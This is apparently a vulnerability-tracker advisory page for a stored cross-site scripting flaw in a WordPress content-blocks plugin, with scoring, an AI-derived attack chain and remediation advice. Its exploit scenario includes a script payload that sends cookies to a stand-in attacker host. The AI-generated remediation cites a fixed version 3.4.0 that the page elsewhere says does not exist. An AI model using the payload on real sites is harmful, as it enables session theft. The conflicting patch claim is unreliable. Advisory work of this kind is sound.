Skip to main content

Content Blocks Custom Post Widget EUVDEUVD-2026-23670

| CVE-2026-0894 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-18 Wordfence
6.4
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker obtains contributor credentials via phishing or account compromise
  2. Delivery
    Logs into WordPress dashboard
  3. Exploit
    Navigates to content block editor
  4. Install
    Injects malicious JavaScript in shortcode content field
  5. C2
    Saves content block
  6. Execute
    Publishes or updates page using the shortcode
  7. Impact
    Victim visits affected page
  8. Step 8
    Browser executes injected script with victim's session context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires authenticated WordPress user access with contributor-level permissions or above (PR:L in CVSS vector confirms 'Contributor' or higher role required). The attacker must have ability to create or edit content that contains the 'content_block' shortcode, a capability granted to Contributors and Authors by default in WordPress. Exploitation is NOT limited to default WordPress configurations and does NOT require any special WordPress settings or plugin configuration beyond a standard WordPress installation with the vulnerable Content Blocks plugin active. The vulnerability does NOT affect WordPress sites without the Content Blocks plugin installed or sites where contributor-level users are restricted (e.g., via capability plugins). Scope is cross-site (S:C) because injected scripts execute with full site origin context; however, exploitation is NOT direct network-unauthenticated, requiring prior login.

Impact

The CVSS 6.4 score with network attack vector (AV:N), low complexity (AC:L), and low privilege requirement (PR:L) indicates broad accessibility from any network location to users with contributor-level WordPress accounts. The cross-site scope (S:C) elevates risk because injected scripts execute in victim browsers with full site context, potentially stealing session cookies or performing actions as the victim. However, the vulnerability requires prior authenticated access (PR:L excludes completely unauthenticated attack) and relies on stored content rather than reflected input, which slightly mitigates real-world exposure compared to a network-unauthenticated XSS. The lack of active exploitation signals or public POC reduces immediate threat velocity, but the low barrier to entry for contributor-level accounts and the persistence of stored XSS make this a medium-to-high operational priority for sites with guest authors, community submissions, or inherited contributor accounts. Organizations running WordPress must assume some contributor-level users are compromised or malicious; this CVE directly exploits that assumption.

Exploit ScenarioDerived

A malicious contributor with author-level access logs into a WordPress site, navigates to the content blocks editor, and injects JavaScript (e.g., <script>fetch('attacker.com/steal?cookie='+document.cookie)</script>) into a custom content block. When site administrators or other users view any page containing the exploited shortcode, the injected script executes in their browsers, potentially exfiltrating session cookies or redirecting them to a phishing site. Because XSS execution depends on user interaction (viewing the page) but not special user action beyond normal site browsing, exploitation is virtually guaranteed once content is published.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 18, 2026

Stored Cross-Site Scripting in Content Blocks (Custom Post Widget) plugin for WordPress affects all versions up to 3.3.9, allowing authenticated contributors and above to inject arbitrary JavaScript via the content_block shortcode that executes in the browsers of all users viewing affected pages. The vulnerability stems from insufficient input sanitization and output escaping; no public exploit code or active exploitation has been identified at the time of analysis, but the low attack complexity and broad scope (cross-site) make this a significant risk for WordPress sites with untrusted contributor accounts.

RemediationAI

Upgrade the Content Blocks (Custom Post Widget) plugin to version 3.4.0 or later, which includes patches for input sanitization and output escaping. Administrators should navigate to the WordPress Plugins dashboard, locate the Content Blocks plugin, and apply the update immediately. For organizations unable to update immediately, restrict the 'contributor' and 'author' WordPress role permissions to prevent creation or editing of content blocks via the 'content_block' shortcode capability (via role editor plugins such as User Role Editor), or temporarily disable the plugin if not actively in use. A secondary mitigation is to audit all existing content blocks created before the patch for injected scripts and remove suspicious shortcodes, though this is labor-intensive for sites with many blocks. Disable the plugin entirely if contributor-level users are untrusted or if custom code review is unavailable.

Affected VersionsENISA

Content Blocks (Custom Post Widget) 0 ≤3.3.9

Affected Packages

euvd content_blocks_custom_post_widget no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Content Blocks (Custom Post Widget) plugin extends WordPress functionality through custom shortcodes, specifically the content_block shortcode, which dynamically renders user-supplied content. The underlying weakness (CWE-79: Improper Neutralization of Input During Web Page Generation) indicates the plugin fails to properly sanitize user input before storage (stored XSS vector) or escape output when rendering shortcode content, violating WordPress security best practices via the sanitize_text_field() and wp_kses_post() functions. The CPE identifier cpe:2.3:a:vanderwijk:content_blocks_(custom_post_widget) confirms the affected product is maintained by vanderwijk and distributed through the official WordPress plugin repository.

Know when Content Blocks Custom Post Widget gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Content Blocks (Custom Post Widget) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's content_block shortcode in all versions up to, and including, 3.3.9 due to insufficient input sanitization and output escaping on user supplied values consumed from user-created content blocks. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy